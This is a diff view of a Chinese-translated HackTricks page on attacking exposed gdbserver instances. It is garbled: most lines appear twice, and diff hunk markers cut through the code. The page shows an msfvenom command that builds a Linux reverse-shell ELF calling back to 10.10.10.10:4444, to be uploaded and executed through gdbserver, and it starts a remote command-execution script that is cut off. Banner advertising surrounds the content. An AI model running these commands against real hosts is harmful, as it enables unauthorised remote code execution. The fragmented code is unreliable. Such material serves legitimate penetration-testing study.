- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**即时提供的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试使用20多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块让他们有更多时间深入挖掘、弹出shell并享受乐趣。
{% embed url="https://pentest-tools.com/" %}
## **基本信息**
**gdbserver** 是一种工具,可实现远程调试程序。它与需要调试的程序一起在同一系统上运行,称为“目标”。这种设置允许 **GNU 调试器** 从存储源代码和调试程序的二进制副本的不同计算机“主机”连接。**gdbserver** 与调试器之间的连接可以通过 TCP 或串行线路进行,从而实现多功能调试设置。
**gdbserver**是一种工具,可以远程调试程序。它与需要调试的程序一起在同一系统上运行,称为“目标”。这种设置允许**GNU调试器**从存储源代码和调试程序的二进制副本的不同计算机“主机”连接。**gdbserver**和调试器之间的连接可以通过TCP或串行线路进行从而实现灵活的调试设置。
您可以让 **gdbserver 在任何端口监听**,目前 **nmap 无法识别该服务**
您可以让**gdbserver**在任何端口上监听,目前**nmap无法识别该服务**
## 利用
### 上传和执行
您可以使用 **msfvenom 轻松创建 elf 后门**,上传并执行:
您可以使用**msfvenom轻松创建elf后门**,上传并执行:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
@ -55,7 +55,7 @@ run
```
### 执行任意命令
有另一种方法可以通过[此处获取的Python自定义脚本](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)使调试器执行任意命令。
有另一种方法可以通过[此处获取的**Python自定义脚本**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)使调试器执行任意命令。
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
@ -195,22 +195,22 @@ RemoteCmd()
```
{% endcode %}
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**立即提供的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试使用20多种工具和功能从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为英雄,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享您的黑客技巧**
</details>

Some files were not shown because too many files have changed in this diff Show more